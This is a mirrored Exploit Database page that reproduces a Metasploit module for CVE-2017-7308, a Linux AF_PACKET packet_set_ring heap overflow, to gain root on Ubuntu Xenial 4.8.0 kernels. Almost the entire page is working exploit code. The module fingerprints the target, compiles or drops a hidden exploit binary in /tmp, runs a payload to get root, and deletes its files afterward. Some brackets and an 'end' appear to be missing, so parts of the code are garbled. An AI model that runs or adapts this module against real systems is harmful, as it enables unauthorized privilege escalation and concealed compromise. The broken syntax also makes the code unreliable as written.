Linux 4.8.0 < 4.8.0-46 - AF_PACKET packet_set_ring Privilege Escalation (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2018-05-18
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/44654/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = GoodRanking

include Msf::Post::File

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Post::Linux::Kernel

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'AF_PACKET packet_set_ring Privilege Escalation',

'Description'=> %q{

This module exploits a heap-out-of-bounds write in the packet_set_ring

function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel

to execute code as root (CVE-2017-7308).

The bug was initially introduced in 2011 and patched in version 4.10.6,

potentially affecting a large number of kernels; however this exploit

targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,

including Linux distros based on Ubuntu Xenial, such as Linux Mint.

The target system must have unprivileged user namespaces enabled and

two or more CPU cores.

Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation

may crash the kernel.

This module has been tested successfully on Linux Mint 18 (x86_64)

with kernel versions:

4.8.0-34-generic;

4.8.0-36-generic;

4.8.0-39-generic;

4.8.0-41-generic;

4.8.0-42-generic;

4.8.0-44-generic;

4.8.0-45-generic.

'License'=> MSF_LICENSE,

'Author' =>

[

'Andrey Konovalov', # Discovery and C exploit

'Brendan Coles' # Metasploit

'DisclosureDate' => 'Mar 29 2017',

'Platform' => [ 'linux' ],

'Arch' => [ ARCH_X86, ARCH_X64 ],

'SessionTypes' => [ 'shell', 'meterpreter' ],

'Targets'=> [[ 'Auto', {} ]],

'Privileged' => true,

'References' =>

[

[ 'EDB', '41994' ],

[ 'CVE', '2017-7308' ],

[ 'BID', '97234' ],

[ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ],

[ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ],

[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ],

[ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ],

[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ]

'DefaultTarget'=> 0))

register_options [

OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),

OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),

]

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

write_file path, data

end

def upload_and_chmodx(path, data)

upload path, data

cmd_exec "chmod +x '#{path}'"

end

def upload_and_compile(path, data)

upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"

if session.type.eql? 'shell'

gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"

end

output = cmd_exec gcc_cmd

unless output.blank?

print_error output

fail_with Failure::Unknown, "#{path}.c failed to compile"

end

cmd_exec "chmod +x #{path}"

end

def exploit_data(file)

path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-7308', file

fd = ::File.open path, 'rb'

data = fd.read fd.stat.size

fd.close

data

end

def live_compile?

return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?

vprint_good 'gcc is installed'

return true

end

unless datastore['COMPILE'].eql? 'Auto'

fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'

end

def check

version = kernel_release

unless version =~ /^4\.8\.0-(34|36|39|41|42|44|45)-generic/

vprint_error "Linux kernel version #{version} is not vulnerable"

return CheckCode::Safe

end

vprint_good "Linux kernel version #{version} is vulnerable"

arch = kernel_hardware

unless arch.include? 'x86_64'

vprint_error "System architecture #{arch} is not supported"

return CheckCode::Safe

end

vprint_good "System architecture #{arch} is supported"

cores = get_cpu_info[:cores].to_i

min_required_cores = 2

unless cores >= min_required_cores

vprint_error "System has less than #{min_required_cores} CPU cores"

return CheckCode::Safe

end

vprint_good "System has #{cores} CPU cores"

unless userns_enabled?

vprint_error 'Unprivileged user namespaces are not permitted'

return CheckCode::Safe

end

vprint_good 'Unprivileged user namespaces are permitted'

if kptr_restrict? && dmesg_restrict?

vprint_error 'Both kernel.kptr_restrict and kernel.dmesg_destrict are enabled. KASLR bypass will fail.'

return CheckCode::Safe

end

CheckCode::Appears

end

def exploit

if check != CheckCode::Appears

fail_with Failure::NotVulnerable, 'Target is not vulnerable'

end

if is_root?

fail_with Failure::BadConfig, 'Session already has root privileges'

end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

# Upload exploit executable

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"

executable_path = "#{base_dir}/#{executable_name}"

if live_compile?

vprint_status 'Live compiling exploit on system...'

upload_and_compile executable_path, exploit_data('poc.c')

rm_f "#{executable_path}.c"

else

vprint_status 'Dropping pre-compiled exploit on system...'

upload_and_chmodx executable_path, exploit_data('exploit')

end

# Upload payload executable

payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"

upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit

print_status 'Launching exploit...'

output = cmd_exec "#{executable_path} #{payload_path}"

output.each_line { |line| vprint_status line.chomp }

print_status 'Deleting executable...'

rm_f executable_path

Rex.sleep 5

print_status 'Deleting payload...'

rm_f payload_path

end